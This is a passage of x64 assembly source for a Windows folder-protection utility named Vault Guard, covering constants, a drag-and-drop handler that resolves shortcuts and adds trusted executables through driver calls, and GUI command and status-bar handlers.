LVITEM_COL_PATH             EQU 0
LVITEM_COL_H                EQU 1
LVITEM_COL_L                EQU 2
LVITEM_COL_R                EQU 3
LVITEM_COL_X                EQU 4

; LVITEMW struct offsets (x64)
LVITEMW_mask                EQU 0
LVITEMW_iItem               EQU 4
LVITEMW_iSubItem            EQU 8
LVITEMW_state               EQU 12
LVITEMW_stateMask           EQU 16
LVITEMW_pszText             EQU 24          ; pointer (8 bytes, aligned)
LVITEMW_cchTextMax          EQU 32
LVITEMW_iImage              EQU 36
LVITEMW_lParam              EQU 40          ; LPARAM (8 bytes)
LVITEMW_SIZE                EQU 56          ; sizeof LVITEMW x64

; LVCOLUMNW struct offsets (x64)
LVCOLUMNW_mask              EQU 0
LVCOLUMNW_fmt               EQU 4
LVCOLUMNW_cx                EQU 8
LVCOLUMNW_pszText           EQU 16          ; pointer
LVCOLUMNW_cchTextMax        EQU 24
LVCOLUMNW_iSubItem          EQU 28
LVCOLUMNW_SIZE              EQU 32

; ------------------------------------------------------------------------------
; CONTROL IDs
; ------------------------------------------------------------------------------
IDC_LV_PATHS                EQU 200
IDC_LV_TRUSTED              EQU 201
IDC_BTN_ADD_PATH            EQU 202
IDC_BTN_REM_PATH            EQU 203
IDC_BTN_ADD_TRUSTED         EQU 204
IDC_BTN_REM_TRUSTED         EQU 205
IDC_BTN_TOGGLE              EQU 206
IDC_STATIC_DRV_STATUS       EQU 209
IDC_STATIC_PROT_STATUS      EQU 210
IDC_STATIC_PATHS_HDR        EQU 211
IDC_STATIC_TRUSTED_HDR      EQU 212
IDC_EDIT_PATH               EQU 213
IDC_EDIT_TRUSTED            EQU 214
IDC_STATIC_AUTHOR           EQU 215         ; author / copyright label at bottom

; Protection flags dialog control IDs
IDC_DLG_PATH                EQU 100
IDC_CHK_HIDDEN              EQU 101
IDC_CHK_LOCKED              EQU 102
IDC_CHK_READONLY            EQU 103
IDC_CHK_NOEXEC              EQU 104

; Timer ID for status refresh
TIMER_STATUS_ID             EQU 1
TIMER_STATUS_MS             EQU 2000

; ------------------------------------------------------------------------------
; MESSAGE BOX
; ------------------------------------------------------------------------------
MB_OK                       EQU 00000000h
MB_YESNO                    EQU 00000004h
MB_ICONERROR                EQU 00000010h
MB_ICONWARNING              EQU 00000030h
MB_ICONINFORMATION          EQU 00000040h
MB_ICONQUESTION             EQU 00000020h
IDOK                        EQU 1
IDCANCEL                    EQU 2
IDYES                       EQU 6
IDNO                        EQU 7
BST_CHECKED                 EQU 1

; ------------------------------------------------------------------------------
; MISC
; ------------------------------------------------------------------------------
SW_SHOWNORMAL               EQU 1
SW_HIDE                     EQU 0
SW_RESTORE                  EQU 9
SW_SHOW                     EQU 5
SIZE_MINIMIZED              EQU 1
VK_SHIFT                    EQU 10h
WM_TRAY                     EQU 8001h
WM_NULL                     EQU 0000h
WM_LBUTTONDBLCLK            EQU 0203h
WM_RBUTTONUP                EQU 0205h
NIM_ADD                     EQU 0
NIM_DELETE                  EQU 2
NIF_MESSAGE                 EQU 1
NIF_ICON                    EQU 2
NIF_TIP                     EQU 4
NID_CBSIZE                  EQU 168         ; NOTIFYICONDATAW v1 size on x64
MF_STRING                   EQU 0
MF_SEPARATOR                EQU 800h
TPM_RIGHTBUTTON             EQU 2
TPM_RETURNCMD               EQU 100h
IDM_TRAY_RESTORE            EQU 1
IDM_TRAY_EXIT               EQU 2
IDC_ARROW_ATOM              EQU 32512
WHITE_BRUSH                 EQU 0
NULL_BRUSH                  EQU 5
COLOR_WINDOW_VAL            EQU 5
COLOR_BTNFACE               EQU 15

; GDI colors
COLORREF_GREEN              EQU 00008000h   ; RGB(0,128,0)
COLORREF_RED                EQU 000000FFh   ; RGB(255,0,0)
COLORREF_ORANGE             EQU 0000A5FFh   ; RGB(255,165,0)
COLORREF_WHITE              EQU 00FFFFFFh
COLORREF_BLACK              EQU 00000000h
COLORREF_DARK_BG            EQU 00202020h   ; dark mode background
COLORREF_DARK_TEXT          EQU 00F0F0F0h   ; near-white text
COLORREF_DARK_LV_BG         EQU 002D2D2Dh   ; ListView dark background
COLORREF_ACCENT_BLUE        EQU 00CC7700h   ; accent (BGR: orange-ish)

CLR_DEFAULT                 EQU 0FFFFFFFFh  ; reset ListView color to system default

TRANSPARENT_VAL             EQU 1
OPAQUE_VAL                  EQU 2

; WNDCLASSEXW
WNDCLASSEXW_SIZE            EQU 80

; CommonControls
ICC_LISTVIEW_CLASSES        EQU 00000001h
INITCOMMONCONTROLSEX_SIZE   EQU 8

; BROWSEINFO struct size (x64)
BROWSEINFO_SIZE             EQU 72
BIF_RETURNONLYFSDIRS        EQU 0001h
BIF_NEWDIALOGSTYLE          EQU 0040h
BIF_USENEWUI                EQU 0050h
BIF_BROWSEINCLUDEFILES      EQU 4000h

; SHGetPathFromIDListW max
MAX_PATH                    EQU 260

; ------------------------------------------------------------------------------
; CONSOLE / PROCESS
; ------------------------------------------------------------------------------
ATTACH_PARENT_PROCESS       EQU 0FFFFFFFFh
STD_INPUT_HANDLE            EQU 0FFFFFFF6h
KEY_EVENT_ID                EQU 1           ; INPUT_RECORD.EventType for keyboard
VK_RETURN                   EQU 0Dh
ENTER_SCAN                  EQU 1Ch         ; hardware scan code for Enter
STD_OUTPUT_HANDLE           EQU 0FFFFFFF5h
STD_ERROR_HANDLE            EQU 0FFFFFFF4h
FILE_TYPE_CHAR              EQU 2

; ------------------------------------------------------------------------------
; RESOURCE IDs
; ------------------------------------------------------------------------------
IDI_ICON1                   EQU 101
IDI_SHIELD                  EQU 32518   ; MAKEINTRESOURCE(32518) — shell shield icon
IDR_DRIVER                  EQU 102
RT_RCDATA                   EQU 10
ICON_SIZE                   EQU 1078        ; base ICO bytes; CAB starts after

; ------------------------------------------------------------------------------
; FDI / CAB extraction
; ------------------------------------------------------------------------------
FDI_OUT_BUFSIZE             EQU 00100000h   ; 1 MB output buffer
SEEK_SET_VAL                EQU 0
SEEK_CUR_VAL                EQU 1
SEEK_END_VAL                EQU 2
fdintCOPY_FILE              EQU 2
fdintCLOSE_FILE_INFO        EQU 3

; ------------------------------------------------------------------------------
; PRIVILEGE
; ------------------------------------------------------------------------------
SE_PRIVILEGE_ENABLED        EQU 00000002h
TOKEN_ADJUST_PRIVILEGES     EQU 0020h
TOKEN_QUERY                 EQU 0008h
TOKEN_ADJUST_QUERY          EQU 0028h

; ------------------------------------------------------------------------------
; STRUCT DEFINITIONS
; ------------------------------------------------------------------------------

; MSG struct (x64 = 48 bytes)
MSG STRUCT
    hwnd        QWORD ?
    message     DWORD ?
    pad1        DWORD ?
    wParam      QWORD ?
    lParam      QWORD ?
    time        DWORD ?
    pt_x        DWORD ?
    pt_y        DWORD ?
    pad2        DWORD ?
MSG ENDS

; NMHDR (used in WM_NOTIFY)
NMHDR STRUCT
    hwndFrom    QWORD ?
    idFrom      QWORD ?
    nCode       DWORD ?
    nPad        DWORD ?
NMHDR ENDS

; NMITEMACTIVATE offsets (x64): NMHDR=24b + iItem + iSubItem
NMIA_iItem                  EQU 24
NMIA_iSubItem               EQU 28

; INITCOMMONCONTROLSEX
INITCOMMONCONTROLSEX STRUCT
    dwSize      DWORD ?
    dwICC       DWORD ?
INITCOMMONCONTROLSEX ENDS

; POINT
POINT STRUCT
    x           DWORD ?
    y           DWORD ?
POINT ENDS

; RECT
RECT STRUCT
    left        DWORD ?
    top         DWORD ?
    right       DWORD ?
    bottom      DWORD ?
RECT ENDS

<<<FILE: kvc/vg/drop.asm>>>
Created:  2026-05-27 18:51:26
Modified: 2026-05-27 01:47:22
Size:     12.2 KB
; ==============================================================================
; Vault Guard - Drop Handler
;
; Author: Marek Wesołowski (wesmar)
; Purpose: WM_DROPFILES handler + .lnk shortcut resolution via IShellLink COM.
;
; Exported:
;   _OnDropFiles(rcx=HDROP)  → void
; ==============================================================================

option casemap:none

include consts.inc
include globals.inc

; ── Win32 ─────────────────────────────────────────────────────────────────────
EXTRN CoInitialize              :PROC
EXTRN CoUninitialize            :PROC
EXTRN CoCreateInstance          :PROC
EXTRN DragQueryFileW            :PROC
EXTRN DragQueryPoint            :PROC
EXTRN DragFinish                :PROC
EXTRN GetLongPathNameW          :PROC
EXTRN GetFileAttributesW        :PROC
EXTRN ChildWindowFromPoint      :PROC

; ── Sibling modules ───────────────────────────────────────────────────────────
EXTRN wcslen_p                  :PROC   ; strutil.asm
EXTRN wcscmp_ci                 :PROC   ; strutil.asm
EXTRN wcs_ascii_lower_inplace   :PROC   ; strutil.asm
EXTRN RefreshLists              :PROC   ; listview.asm
EXTRN ConfigSavePath            :PROC   ; config.asm
EXTRN ConfigSaveTrusted         :PROC   ; config.asm
EXTRN EnsureDriverReady         :PROC   ; driver.asm
EXTRN CloseDevice               :PROC   ; driver.asm
EXTRN IoctlAddTrusted           :PROC   ; driver.asm

EXTRN g_pendingPath             :WORD   ; handlers.asm

; ==============================================================================
; CONSTANT STRINGS
; ==============================================================================
.const

str_ext_lnk         dw '.','l','n','k',0
str_ext_exe         dw '.','e','x','e',0

; COM GUIDs for Windows shortcut resolution
CLSID_ShellLink dd 00021401h
                dw 0000h, 0000h
                db 0C0h, 00h, 00h, 00h, 00h, 00h, 00h, 46h
IID_IShellLinkW dd 000214F9h
                dw 0000h, 0000h
                db 0C0h, 00h, 00h, 00h, 00h, 00h, 00h, 46h
IID_IPersistFile dd 0000010Bh
                 dw 0000h, 0000h
                 db 0C0h, 00h, 00h, 00h, 00h, 00h, 00h, 46h

; ==============================================================================
; CODE
; ==============================================================================
.code

PUBLIC _OnDropFiles

; ==============================================================================
; ResolveLnkPath  rcx=.lnk path  rdx=out target path  →  rax=1 ok / 0 fail
; Uses IShellLinkW/IPersistFile to resolve a shortcut target.
; Stack: entry rsp%16=8; push 7 regs (+56)→0; sub 70h (+112)→0 ✓
; Locals: [rsp+40h]=IShellLink*, [rsp+48h]=IPersistFile*.
; ==============================================================================
ResolveLnkPath proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    push    r13
    push    r14
    push    r15
    sub     rsp, 70h

    mov     r12, rcx                    ; input .lnk path
    mov     r13, rdx                    ; output target path
    xor     r15d, r15d                  ; result
    mov     word ptr [r13], 0
    mov     qword ptr [rsp+40h], 0
    mov     qword ptr [rsp+48h], 0

    xor     ecx, ecx                            ; pvReserved = NULL
    call    CoInitialize                        ; must succeed (S_OK or S_FALSE)
    test    eax, eax
    js      @rlp_done                           ; hard failure — COM unavailable

    lea     rax, [rsp+40h]
    mov     qword ptr [rsp+20h], rax            ; ppv → &IShellLink*
    lea     r9, IID_IShellLinkW
    mov     r8d, CLSCTX_INPROC_SERVER           ; in-process COM server
    xor     edx, edx                            ; pUnkOuter = NULL
    lea     rcx, CLSID_ShellLink
    call    CoCreateInstance                    ; create IShellLinkW instance
    test    eax, eax
    js      @rlp_uninit

    mov     rbx, qword ptr [rsp+40h]            ; IShellLink*
    mov     rax, qword ptr [rbx]                ; vtable ptr
    lea     r8, [rsp+48h]                       ; ppv → &IPersistFile*
    lea     rdx, IID_IPersistFile
    mov     rcx, rbx
    call    qword ptr [rax]                     ; QueryInterface(IID_IPersistFile)
    test    eax, eax
    js      @rlp_release_link

    mov     rbx, qword ptr [rsp+48h]            ; IPersistFile*
    mov     rax, qword ptr [rbx]                ; vtable ptr
    xor     r8d, r8d                            ; dwMode = STGM_READ
    mov     rdx, r12                            ; pszFileName = .lnk path
    mov     rcx, rbx
    call    qword ptr [rax+40]                  ; IPersistFile::Load — open .lnk
    test    eax, eax
    js      @rlp_release_both

    mov     rbx, qword ptr [rsp+40h]            ; IShellLink* (refetch after Load)
    mov     rax, qword ptr [rbx]                ; vtable ptr
    mov     qword ptr [rsp+20h], 0              ; fFlags = 0 (raw path)
    xor     r9d, r9d                            ; pfd = NULL (no WIN32_FIND_DATA)
    mov     r8d, MAX_PATH                       ; cch output buffer limit
    mov     rdx, r13                            ; pszFile = output buffer
    mov     rcx, rbx
    call    qword ptr [rax+24]                  ; IShellLinkW::GetPath → target
    test    eax, eax
    js      @rlp_release_both

    mov     rcx, r13
    call    wcslen_p
    test    eax, eax
    jz      @rlp_release_both
    mov     r15d, 1

@rlp_release_both:
    mov     rbx, qword ptr [rsp+48h]            ; IPersistFile*
    test    rbx, rbx
    jz      @rlp_release_link
    mov     rax, qword ptr [rbx]
    mov     rcx, rbx
    call    qword ptr [rax+16]                  ; IPersistFile::Release

@rlp_release_link:
    mov     rbx, qword ptr [rsp+40h]            ; IShellLink*
    test    rbx, rbx
    jz      @rlp_uninit
    mov     rax, qword ptr [rbx]
    mov     rcx, rbx
    call    qword ptr [rax+16]                  ; IShellLink::Release

@rlp_uninit:
    call    CoUninitialize

@rlp_done:
    mov     eax, r15d
    add     rsp, 70h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
ResolveLnkPath endp

; ==============================================================================
; _OnDropFiles  rcx=HDROP  rdx=hMainWnd  →  void
; Resolves dropped path (.lnk support), then routes by drop target:
;   drop on g_hwndLvTrusted → add process basename to trusted list
;   drop anywhere else      → set as pending path row in upper list
; Stack: entry rsp%16=8; push 5 regs (+40)→0; sub 30h (+48)→0 ✓
;        [rsp+20h..27h] = POINT scratch for DragQueryPoint
; ==============================================================================
_OnDropFiles proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    push    r13
    sub     rsp, 30h

    mov     rbx, rcx                    ; HDROP
    mov     r13, rdx                    ; hMainWnd

    mov     r9d, 520                    ; cch = buffer size in WCHARs
    lea     r8, g_pathBuf               ; lpszFile = output buffer
    xor     edx, edx                    ; iFile = 0 (first dropped file)
    mov     rcx, rbx
    call    DragQueryFileW              ; fetch first dropped path into g_pathBuf
    test    eax, eax
    jz      @odf_finish                 ; 0 chars returned → nothing to do

    lea     rsi, g_pathBuf              ; default: original dropped path

    lea     rcx, g_pathBuf
    call    wcslen_p
    mov     r12, rax                    ; r12 = path length in WCHARs
    cmp     r12, 4
    jl      @odf_check_target           ; too short to have .lnk extension

    lea     rcx, g_pathBuf
    lea     rcx, [rcx + r12*2 - 8]     ; point at last 4 WCHARs of path
    lea     rdx, str_ext_lnk            ; L".lnk\0"
    call    wcscmp_ci                   ; case-insensitive compare
    test    eax, eax
    jnz     @odf_check_target           ; not a .lnk → use path as-is

    lea     r8, g_statusBuf
    lea     rdx, g_tempBuf
    lea     rcx, g_pathBuf
    call    ResolveLnkPath
    test    eax, eax
    jz      @odf_check_target
    cmp     word ptr [g_tempBuf], 0
    je      @odf_check_target
    lea     rsi, g_tempBuf
    ; Normalize to filesystem-canonical case — driver is case-sensitive,
    ; IShellLink::GetPath returns stored case (e.g. TOTALCMD64.EXE not totalcmd64.exe)
    mov     r8d, MAX_PATH
    mov     rdx, rsi                    ; in-place: output buffer = input buffer (MSDN allows)
    mov     rcx, rsi
    call    GetLongPathNameW            ; 0 on failure → g_tempBuf unchanged, still used

@odf_check_target:
    ; Determine which listview received the drop via cursor position.
    lea     rdx, [rsp+20h]              ; &POINT (scratch at [rsp+20h..27h])
    mov     rcx, rbx
    call    DragQueryPoint              ; POINT filled in client coords of main window
    movsxd  rax, dword ptr [rsp+20h]   ; x (sign-extend LONG)
    movsxd  rdx, dword ptr [rsp+24h]   ; y
    shl     rdx, 32
    or      rdx, rax                    ; rdx = POINT packed (y:x) for ChildWindowFromPoint
    mov     rcx, r13
    call    ChildWindowFromPoint
    cmp     rax, g_hwndLvTrusted
    je      @odf_add_trusted

@odf_copy_pending:
    ; Drop on paths list (or elsewhere) → pending row in upper list
    ; Auto-commit any prior pending path to registry before overwriting it
    cmp     word ptr [g_pendingPath], 0
    je      @odf_no_prior_pending
    lea     rcx, g_pendingPath
    xor     edx, edx                    ; flags = 0 (Disabled until user sets flags)
    call    ConfigSavePath              ; persist prior pending so it is not lost
    mov     word ptr [g_pendingPath], 0
@odf_no_prior_pending:
    lea     rdi, g_pendingPath          ; destination
    xor     ecx, ecx                    ; char index
@odf_copy_loop:
    movzx   eax, word ptr [rsi + rcx*2] ; load src WCHAR
    mov     word ptr [rdi + rcx*2], ax  ; store to g_pendingPath
    test    ax, ax
    jz      @odf_refresh                ; null terminator copied — done
    inc     ecx
    cmp     ecx, MAX_PATH
    jl      @odf_copy_loop
    mov     word ptr [rdi + rcx*2], 0   ; force-terminate at MAX_PATH

@odf_refresh:
    call    RefreshLists
    jmp     @odf_finish

@odf_add_trusted:
    ; Reject directories — trusted list is for executable files only
    mov     rcx, rsi
    call    GetFileAttributesW
    cmp     eax, 0FFFFFFFFh             ; INVALID_FILE_ATTRIBUTES → can't stat
    je      @odf_finish
    test    eax, 10h                    ; FILE_ATTRIBUTE_DIRECTORY
    jnz     @odf_finish

    ; Drop on trusted list → extract basename → lowercase → add to trusted
    mov     rdi, rsi                    ; rdi = best basename start (init = full path)
@odf_trusted_scan:
    movzx   eax, word ptr [rsi]
    test    ax, ax
    jz      @odf_trusted_exec
    cmp     ax, '\'
    jne     @odf_trusted_next
    lea     rdi, [rsi + 2]              ; char after '\' = new candidate basename
@odf_trusted_next:
    add     rsi, 2
    jmp     @odf_trusted_scan
@odf_trusted_exec:
    movzx   eax, word ptr [rdi]         ; empty basename → skip
    test    ax, ax
    jz      @odf_finish

    ; Allow only .exe (resolved .lnk → .exe already; .lnk failures, docs etc. rejected)
    mov     rcx, rdi
    call    wcslen_p                    ; eax = basename length in WCHARs
    cmp     eax, 4
    jl      @odf_finish                 ; too short to have 4-char extension
    sub     eax, 4
    lea     rcx, [rdi + rax*2]         ; point at last 4 chars of basename
    lea     rdx, str_ext_exe
    call    wcscmp_ci                   ; case-insensitive .exe check
    test    eax, eax
    jnz     @odf_finish                 ; not .exe → reject

    mov     rcx, rdi
    call    wcs_ascii_lower_inplace     ; driver compares lowercase names
    call    EnsureDriverReady
    test    eax, eax
    jz      @odf_finish
    mov     rcx, rdi
    call    IoctlAddTrusted
    mov     rcx, rdi
    call    ConfigSaveTrusted
    call    CloseDevice
    call    RefreshLists

@odf_finish:
    mov     rcx, rbx
    call    DragFinish

    add     rsp, 30h
    pop     r13
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
_OnDropFiles endp

end

<<<FILE: kvc/vg/globals.inc>>>
Created:  2026-05-27 18:51:26
Modified: 2026-05-27 01:18:44
Size:     1.13 KB
; ==============================================================================
; Vault Guard - Global External Declarations
; Defined in main.asm; referenced by all other modules.
; ==============================================================================

    EXTRN   g_hInstance         :QWORD
    EXTRN   g_hwndMain          :QWORD
    EXTRN   g_hwndLvPaths       :QWORD
    EXTRN   g_hwndLvTrusted     :QWORD
    EXTRN   g_hwndBtnToggle     :QWORD
    EXTRN   g_hwndDrvStatus     :QWORD
    EXTRN   g_hwndProtStatus    :QWORD
    EXTRN   g_hDevice           :QWORD
    EXTRN   g_hFontMain         :QWORD
    EXTRN   g_hFontSmall        :QWORD
    EXTRN   g_hBrushBg          :QWORD
    EXTRN   g_isDarkMode        :DWORD
    EXTRN   g_driverInstalled   :DWORD
    EXTRN   g_driverRunning     :DWORD
    EXTRN   g_protActive        :DWORD
    EXTRN   g_cliMode           :DWORD
    EXTRN   g_startMinimized    :DWORD
    EXTRN   g_ioBuf             :BYTE
    EXTRN   g_pathBuf           :WORD
    EXTRN   g_tempBuf           :WORD
    EXTRN   g_statusBuf         :WORD
    EXTRN   g_prevDrvOk         :BYTE
    EXTRN   g_prevProtActive    :BYTE

<<<FILE: kvc/vg/handlers.asm>>>
Created:  2026-05-27 18:51:26
Modified: 2026-05-25 14:44:36
Size:     28.53 KB
; ==============================================================================
; Vault Guard - Command Handlers
;
; Author: Marek Wesołowski (wesmar)
; Purpose: Status bar refresh and WM_COMMAND dispatch (toggle, add/remove
;          path, add/remove trusted process).
;
; Exported:
;   UpdateStatusBar()                        → void
;   _OnCommand(rcx=hwnd, rdx=wParam)         → void
; ==============================================================================

option casemap:none

include consts.inc
include globals.inc

; ── Win32 ─────────────────────────────────────────────────────────────────────
EXTRN SetWindowTextW            :PROC
EXTRN GetWindowTextW            :PROC
EXTRN SendMessageW              :PROC
EXTRN MessageBoxW               :PROC
EXTRN SHBrowseForFolderW        :PROC
EXTRN SHGetPathFromIDListW      :PROC
EXTRN CoTaskMemFree             :PROC
EXTRN DialogBoxIndirectParamW   :PROC
EXTRN IsDlgButtonChecked        :PROC
EXTRN EndDialog                 :PROC
EXTRN SetDlgItemTextW           :PROC
EXTRN DwmSetWindowAttribute     :PROC

EXTRN EnsureDriverReady         :PROC
EXTRN OpenDevice                :PROC
EXTRN CloseDevice               :PROC
EXTRN IoctlGetStatus            :PROC
EXTRN IoctlSetActive            :PROC
EXTRN IoctlAddPath              :PROC
EXTRN IoctlAddTrusted           :PROC
EXTRN IoctlRemoveTrusted        :PROC

EXTRN ConfigLoad                :PROC
EXTRN ConfigSavePath            :PROC
EXTRN ConfigRemovePath          :PROC
EXTRN ConfigSaveTrusted         :PROC
EXTRN ConfigRemoveTrusted       :PROC

EXTRN g_statusResult            :BYTE   ; defined in driver.asm

; ── Sibling modules ───────────────────────────────────────────────────────────
EXTRN RefreshLists              :PROC
EXTRN _LvGetSelIdx              :PROC
EXTRN _LvGetItemText            :PROC
EXTRN _LvSetRowParam            :PROC
EXTRN _LvGetRowParam            :PROC
EXTRN wcscmp_ci                 :PROC
EXTRN wcs_ascii_lower_inplace   :PROC

; ── Cross-module data (defined in layout.asm) ─────────────────────────────────
EXTRN g_hwndEditTrusted         :QWORD

; ==============================================================================
; CONSTANT STRINGS
; ==============================================================================
.const

; Status labels — also referenced by window.asm (_OnCreate initial text)
PUBLIC str_drv_stopped
PUBLIC str_prot_off
PUBLIC str_btn_toggle_off

str_drv_running     dw 'D','r','i','v','e','r',':',' ','T','R','A','N','S','I','E','N','T',0
str_drv_stopped     dw 'D','r','i','v','e','r',':',' ','S','T','O','P','P','E','D',0
str_prot_on         dw 'P','r','o','t','e','c','t','i','o','n',':',' ','O','N',0
str_prot_off        dw 'P','r','o','t','e','c','t','i','o','n',':',' ','O','F','F',0
str_btn_toggle_on   dw 'D','i','s','a','b','l','e',' ','p','r','o','t','e','c','t','i','o','n',0
str_btn_toggle_off  dw 'E','n','a','b','l','e',' ','p','r','o','t','e','c','t','i','o','n',0

; Window title strings — status embedded so no separate labels needed in client area
str_title_stopped   dw 'V','a','u','l','t','G','u','a','r','d',' ','|'
                    dw ' ','D','r','i','v','e','r',':',' ','S','T','O','P','P','E','D'
                    dw ' ','|',' ','P','r','o','t','e','c','t','i','o','n',':',' ','O','F','F',0
str_title_run_off   dw 'V','a','u','l','t','G','u','a','r','d',' ','|'
                    dw ' ','D','r','i','v','e','r',':',' ','T','R','A','N','S','I','E','N','T'
                    dw ' ','|',' ','P','r','o','t','e','c','t','i','o','n',':',' ','O','F','F',0
str_title_run_on    dw 'V','a','u','l','t','G','u','a','r','d',' ','|'
                    dw ' ','D','r','i','v','e','r',':',' ','T','R','A','N','S','I','E','N','T'
                    dw ' ','|',' ','P','r','o','t','e','c','t','i','o','n',':',' ','O','N',0

; Dialog strings
str_add_path_title  dw 'S','e','l','e','c','t',' ','F','o','l','d','e','r',0
str_err_nosel       dw 'N','o',' ','i','t','e','m',' ','s','e','l','e','c','t','e','d','.',0
str_err_empty_proc  dw 'E','n','t','e','r',' ','a',' ','p','r','o','c','e','s','s',' ','n','a','m','e',' ','f','i','r','s','t','.',0
str_err_title       dw 'E','r','r','o','r',0
str_blank           dw 0


; ==============================================================================
; DATA
; ==============================================================================
.data
    align 8

; BROWSEINFO scratch (72 bytes x64)
browse_info         db BROWSEINFO_SIZE dup(0)

; Path buffer for SHGetPathFromIDListW
path_pidl_buf       dw (MAX_PATH + 4) dup(0)

; Trusted process name buffer
trusted_edit_buf    dw (MAX_PATH + 4) dup(0)

; ==============================================================================
; In-memory DLGTEMPLATE for "Set protection" dialog (286 bytes total).
; Layout: STATIC(path) + 4×BS_AUTOCHECKBOX + BS_DEFPUSHBUTTON("Done").
; Positions in dialog units. No DS_SETFONT — uses system font.
; DWORD-alignment between DLGITEMTEMPLATE entries verified per offset.
; ==============================================================================
    align 4
dlg_prot_tmpl   label byte
    ; DLGTEMPLATE header — 52 bytes, DWORD aligned at offset 0
    dd  080C80880h          ; WS_POPUP|WS_CAPTION|WS_SYSMENU|DS_MODALFRAME|DS_CENTER
    dd  0                   ; dwExtendedStyle
    dw  6                   ; cdit = 6 items
    dw  0, 0, 210, 110      ; x=0 y=0 cx=210 cy=110 DLU
    dw  0, 0                ; menu=none, class=default
    dw  'S','e','t',' ','p','r','o','t','e','c','t','i','o','n',0  ; title (15 WCHARs=30b)
    ; offset 52, DWORD aligned ✓

    ; Item 0: STATIC path display — 26 bytes at offset 52 → pad to 80
    dd  050000000h          ; WS_CHILD|WS_VISIBLE
    dd  0
    dw  5, 4, 200, 14       ; x=5 y=4 cx=200 cy=14
    dw  IDC_DLG_PATH        ; id=100
    dw  0FFFFh, 0082h       ; STATIC class atom
    dw  0                   ; empty title (filled via SetDlgItemTextW)
    dw  0                   ; extraCount=0
    dw  0                   ; alignment pad (78→80)

    ; Item 1: Hidden checkbox — 38 bytes at offset 80 → pad to 120
    dd  050010003h          ; WS_CHILD|WS_VISIBLE|WS_TABSTOP|BS_AUTOCHECKBOX
    dd  0
    dw  10, 22, 100, 12
    dw  IDC_CHK_HIDDEN
    dw  0FFFFh, 0080h       ; BUTTON class atom
    dw  'H','i','d','d','e','n',0
    dw  0                   ; extraCount=0
    dw  0                   ; alignment pad (118→120)

    ; Item 2: Locked checkbox — 38 bytes at offset 120 → pad to 160
    dd  050010003h
    dd  0
    dw  10, 36, 100, 12
    dw  IDC_CHK_LOCKED
    dw  0FFFFh, 0080h
    dw  'L','o','c','k','e','d',0
    dw  0
    dw  0                   ; alignment pad (158→160)

    ; Item 3: Read-only checkbox — 44 bytes at offset 160 → aligned at 204
    dd  050010003h
    dd  0
    dw  10, 50, 100, 12
    dw  IDC_CHK_READONLY
    dw  0FFFFh, 0080h
    dw  'R','e','a','d','-','o','n','l','y',0
    dw  0                   ; extraCount=0
    ; 160+44=204, 204%4=0 — no pad needed

    ; Item 4: No execute checkbox — 46 bytes at offset 204 → pad to 252
    dd  050010003h
    dd  0
    dw  10, 64, 100, 12
    dw  IDC_CHK_NOEXEC
    dw  0FFFFh, 0080h
    dw  'N','o',' ','e','x','e','c','u','t','e',0
    dw  0                   ; extraCount=0
    dw  0                   ; alignment pad (250→252)

    ; Item 5: Done button — 34 bytes at offset 252 → total 286 bytes
    dd  050010001h          ; WS_CHILD|WS_VISIBLE|WS_TABSTOP|BS_DEFPUSHBUTTON
    dd  0
    dw  75, 90, 60, 14
    dw  IDOK                ; id=1
    dw  0FFFFh, 0080h
    dw  'D','o','n','e',0
    dw  0                   ; extraCount=0

.data?
    lv_text_buf     dw 520 dup(?)   ; GetItemText scratch
    dlg_path_ptr    dq ?            ; ptr to current path string (set before dialog opens)
    dlg_cur_flags   dd ?            ; current applied flags in protection dialog

PUBLIC g_pendingPath
g_pendingPath   dw (MAX_PATH + 4) dup(?)

; ==============================================================================
; CODE
; ==============================================================================
.code

PUBLIC UpdateStatusBar
PUBLIC _OnCommand
PUBLIC _OnNotify

; ==============================================================================
; UpdateStatusBar  →  void
; Refreshes driver/protection status labels and toggle button text.
; Stack: entry rsp%16=8; push rbx,rsi (+16)→8; sub 28h (+40)→0 ✓
; ==============================================================================
UpdateStatusBar proc
    push    rbx
    push    rsi
    sub     rsp, 28h

    call    EnsureDriverReady
    test    eax, eax
    jz      @usb_no_driver

    call    IoctlGetStatus
    test    eax, eax
    jz      @usb_close_no_status

    ; ── Driver label: only repaint when state transitions → running ──────────
    cmp     byte ptr [g_prevDrvOk], 1
    je      @usb_drv_label_skip
    mov     byte ptr [g_prevDrvOk], 1
    lea     rdx, str_drv_running
    mov     rcx, g_hwndDrvStatus        ; NULL → no-op; status lives in title bar
    call    SetWindowTextW
@usb_drv_label_skip:

    ; ── Prot + toggle: only repaint when prot state changes ──────────────────
    movzx   eax, byte ptr [g_statusResult + VG_ST_ISACTIVE]
    mov     g_protActive, eax
    movzx   ecx, byte ptr [g_prevProtActive]
    cmp     ecx, eax
    je      @usb_prot_skip
    mov     byte ptr [g_prevProtActive], al

    test    eax, eax
    lea     rdx, str_prot_on
    jnz     @usb_prot_yes
    lea     rdx, str_prot_off
@usb_prot_yes:
    mov     rcx, g_hwndProtStatus       ; NULL → no-op
    call    SetWindowTextW

    test    g_protActive, 1
    lea     rdx, str_btn_toggle_on
    jnz     @usb_toggle_yes
    lea     rdx, str_btn_toggle_off
@usb_toggle_yes:
    mov     rcx, g_hwndBtnToggle
    call    SetWindowTextW

    ; ── Update window title with combined status ──────────────────────────────
    test    g_protActive, 1
    lea     rdx, str_title_run_on
    jnz     @usb_title_yes
    lea     rdx, str_title_run_off
@usb_title_yes:
    mov     rcx, g_hwndMain
    call    SetWindowTextW
@usb_prot_skip:

    call    CloseDevice
    jmp     @usb_ret

@usb_close_no_status:
    call    CloseDevice
@usb_no_driver:
    ; Only repaint when state transitions → stopped; reset prot sentinel too
    cmp     byte ptr [g_prevDrvOk], 0
    je      @usb_ret
    mov     byte ptr [g_prevDrvOk], 0
    mov     byte ptr [g_prevProtActive], 0FFh
    lea     rdx, str_drv_stopped
    mov     rcx, g_hwndDrvStatus        ; NULL → no-op
    call    SetWindowTextW
    lea     rdx, str_prot_off
    mov     rcx, g_hwndProtStatus       ; NULL → no-op
    call    SetWindowTextW
    lea     rdx, str_btn_toggle_off
    mov     rcx, g_hwndBtnToggle
    call    SetWindowTextW
    ; ── Update title to stopped state ────────────────────────────────────────
    lea     rdx, str_title_stopped
    mov     rcx, g_hwndMain
    call    SetWindowTextW

@usb_ret:
    add     rsp, 28h
    pop     rsi
    pop     rbx
    ret
